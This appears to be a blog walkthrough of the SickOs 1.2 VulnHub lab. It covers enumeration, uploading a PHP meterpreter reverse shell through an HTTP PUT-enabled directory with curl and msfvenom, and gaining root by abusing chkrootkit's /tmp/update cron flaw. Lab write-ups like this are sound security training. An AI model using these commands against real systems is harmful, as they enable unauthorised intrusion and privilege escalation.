Posted on by will

SickOs: 1.2 – VulnHub Writeup

Source: https://www.vulnhub.com/entry/sickos-12,144/

VM Preparation

First off similarly to SickOs 1.1 I will be adapting this VM to work within VirtualBox as it is originally built for VMware.

Like before create a new VM in Virtualbox using the following settings:

Name: SickOs 1.2
Type: Linux
Version: Ubuntu or Debian (64-bit)
Memory: At least 512MB
Hard Disk: Do not add a virtual disk

Extract the contents of sick0s1.2.zip to its own folder.

Right-click the new VM and go into the Settings menu option. Click the Storage tab.

Under either the SATA or IDE controller, click Add New Storage Attachment, and select the ‘SickOs1.2-disk1.vmdk’ file that was extracted earlier. Double check Network Settings to confirm the VM will be connecting to your lab network in your preferred way. From here you should be able to start up the VM as usual and be all set. Settings should look similar to below:

Start of the SickOs 1.2 Walkthrough

We’ll start off with an NMAP scan to identify the VM’s assigned IP.

nmap 192.168.111.0/24 -sP


So the remote machine is 192.168.111.100. Let’s now run an NMAP service scan to enumerate the OS and any services running on the machine.

nmap 192.168.111.100 -O -sV

So at this point we have at least an SSH (22) + lighttpd Webserver (80) running on the machine. Let’s navigate to http://192.168.111.100:80 to see what comes up in a browser.

The >>> is curious, let’s look at the page source:

Scrolling way down there’s another comment at the end.

No big clues yet. Let’s check if there’s a robots.txt in the root directory…nope. Let’s do a nikto scan of the webserver instead.

nikto -host http://192.168.111.100 -port 80

No obvious vulnerabilities or leads here, but now we know with relative certainty that the lighttpd server version is 1.4.28 (same returned by NMAP scan). I do a search on exploit-db but unfortunately don’t find anything interesting for this particular version. So at this point I downloaded the Keanu pic and CATed out the contents + binwalked to see if anything suspicious would show up.

Nothing weird here. Before opening up dirbuster I tried a few quick guesses for possible sub-directories on the webserver but didn’t have any luck. No keanu, no pictures, no admin, etc.

Let’s see if we can detect and directories via word list.

Just an empty test directory. But this is obviously a hint…is there something misconfigured about the directory? I did another dirbuster scan trying to find possible hidden files and additional folders under /test/ but didn’t end up finding anything. Is the folder somehow writable? Let’s google how to check.

I happened upon this really great resource which gives instructions on how to use curl to detect available options on a webserver directory. Let’s put it to the test.

curl -X OPTIONS -v http://192.168.111.100/test

Syntax is given on the site as well on how to test PUT commands to the remote address. Let’s try a quick text file called testdoc.txt.

curl –upload-file testdoc.txt -v –url http://192.168.111.100/test/testdoc.txt

Well that didn’t work. Let’s google the 417 error code to see what it means exactly. Thanks to a thread on Stack Overflow we find this error is due to a mismatch of versions between what the server is using and our PUT request. By adding the –http1.0 argument it should fix the error. Let’s try again.

Success! Let’s double check the directory listing on the webserver now.

Great! Let’s craft a webshell to upload to this directory and exploit it. Using msfvenom we’ll create a new php reverse shell to upload.

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.111.101 LPORT=555 > test.php

Now upload again using the same curl command as above and check the directory to confirm upload.

Now let’s setup the Meterpreter listener.

And loaded the php site on the webserver and……nothing. I tried msfvenom and recreated the listener once again but the same thing happened. I was really confused and fired up Wireshark to see if it would shed any light on why the connection wasn’t going through. I hammered the php site a few times with refresh and never saw anything except keep alive requests going back and forth over port 80. Maybe the remote server only default allows 80/22 through? Let’s setup our payload to run over port 80 instead and retry. NO. Alright, I’ll try the pentestmonkey PHP shell from SickOS1.1 because I know that works…GAH. No again. 22 also didn’t work. Both must just allow incoming connections. Finally I tried 443 and BOOM.

/home/ has an empty folder for “john” and here is the userlist from /etc/passwd

  • /var/www doesn’t contain anything new
  • I don’t remember ever seeing Debian’s “popularity-contest” package.
  • Lots of normal looking packages installed.

Doing a locate on “john” gets me these new hidden directories:

No permissions to .bash_history (shown with a ls -a) or “.cache”. Nothing else interesting in there that I see. I bang my head against the wall for a while trying to find something interesting in the directories and eventually find this:

Note the bottom entry. Sounds interesting, right?

Daily checks are turned off. This gives me an idea to check if I can display daily scheduled jobs.

  • No write access to /etc/cron.daily, cron.hourly, chron.monthy, cron.weekly
  • But I do have access to view.

Aside from the chkrootkit there’s a job to backup passwords…I check the backup directory and don’t have permission. A lot of other normal looking jobs in the lists I see.

I check to verify the current Linux version in the shell:

Back to ExploitDB to see if we can find a good privilege escalation candidate for Ubuntu 12.*.

I think I find a good candidate here: https://www.exploit-db.com/exploits/37292/ After copying the *.c to the target machines /tmp/ directory I attempt to compile and run it.

After a long break and some sleep I’m back at it. On an unrelated note I found a great fix if your bi-directional clipboard ever starts crapping out in Kali (VirtualBox) with Guest Additions installed:

  1. Check if the process is running: ps -fe|grep -i clip
  2. Kill the PID if it is (it’ll show as “/usr/bin/VBoxClient –clipboard”)
  3. Restart the process manually: /usr/bin/VBoxClient –clipboard

Alright, let’s try another privilege escalation from here: https://www.exploit-db.com/exploits/36820/

As you can see, that didn’t work either. I’ll try another Ubuntu 12.* exploit but if this doesn’t work maybe the version displayed is a lie or we need to explore a different avenue. Next up is: https://www.exploit-db.com/exploits/36746/

Agh, now what? I ended up having to ask for hints on the #vulnhub IRC and got this:

Checking services running under root privileges (ps aux | grep root) again we come across cron. There has to be some way of exploiting this…to google. A long time later I find this:

https://www.exploit-db.com/exploits/33899/

An exploit for chkrootkit 0.49. Let’s lookup the version that is installed on our victim machine.

But looking back there is a chkrootkit.conf file (read-only) that doesn’t enable the cron. Is it running anyway? Thanks again to a Stack Overflow page we can check the history of jobs run by root:

grep CRON.*(root) /var/log/syslog

As you can see from the timestamps this running every minute. It’s just a matter of “slapping in” (ha ha) some commands to the /tmp/update file to give myself rights to whatever I want.

I created an “update” file with the contents of “chmod 777 /root” and waited a couple minutes….didn’t work. Then I realized I just made a stupid mistake and forgot to make the update file executable.


Another minute later and it worked! I’ll add one last update command to open up rights to 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt:

Now wait for it…

Whew! That was a challenging one.